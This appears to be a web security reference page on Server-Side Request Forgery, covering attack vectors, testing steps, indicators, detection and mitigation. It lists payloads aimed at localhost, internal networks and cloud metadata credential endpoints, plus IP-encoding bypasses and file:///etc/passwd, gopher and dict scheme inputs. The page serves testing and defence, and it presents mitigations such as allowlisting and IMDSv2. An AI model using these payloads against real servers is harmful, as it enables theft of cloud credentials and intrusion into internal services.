OWASP Hunting
Server-Side

Server-Side Request Forgery (SSRF)

SSRF forces the server to make HTTP requests to attacker-controlled or internal destinations, exposing internal services and cloud metadata.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to induce the server to make HTTP requests to an arbitrary destination — internal services, cloud metadata endpoints, or external systems. In cloud environments, SSRF is particularly severe as it commonly exposes AWS/GCP/Azure metadata credentials that grant broad cloud access.

Attack Vectors

  • URL parameters for loading remote resources
  • File upload by URL (avatar, image import)
  • Webhook endpoint configuration fields
  • PDF generators with URL input
  • API integrations with user-supplied callback URLs
  • Image proxy services

Testing Methodology

  1. Submit http://127.0.0.1/ to test access to localhost
  2. Try http://169.254.169.254/latest/meta-data/ for AWS metadata
  3. Test internal network ranges: http://192.168.0.1, http://10.0.0.1
  4. Use DNS rebinding or out-of-band callbacks for blind SSRF detection
  5. Test URI scheme variations: file://, gopher://, dict://

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

Localhost/Internal
http://127.0.0.1/http://localhost/http://0.0.0.0/http://[::1]/http://2130706433/ (127.0.0.1 decimal)
Cloud Metadata
http://169.254.169.254/latest/meta-data/http://169.254.169.254/latest/meta-data/iam/security-credentials/http://metadata.google.internal/computeMetadata/v1/http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Azure)
Internal Services
http://internal-service/adminhttp://192.168.0.1/http://10.0.0.1/http://172.16.0.1/
Bypass Techniques
http://127.1/http://127.0.1/http://0177.0.0.1/ (octal)http://0x7f000001/ (hex)http://[::ffff:127.0.0.1]/
Alternative Schemes
file:///etc/passwdgopher://127.0.0.1:25/dict://127.0.0.1:11211/

Indicators of Vulnerability

  • Response contains internal service content or cloud metadata
  • DNS/HTTP request received on attacker-controlled server for blind SSRF
  • Different response for internal vs external URLs
  • Cloud credentials (access keys, tokens) in response

Detection Guidance

Block outbound requests to RFC 1918 and link-local address ranges. Use a cloud metadata protection mechanism. Monitor for requests to 169.254.169.254.

Mitigation & Remediation

  • Validate and allowlist target URLs against permitted external domains
  • Block requests to RFC 1918 ranges, loopback, and link-local addresses
  • Use a dedicated network policy to restrict outbound server requests
  • Disable unnecessary URI schemes (file://, gopher://, dict://)
  • In cloud environments, use IMDSv2 (requiring PUT requests with tokens) to prevent SSRF metadata access

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)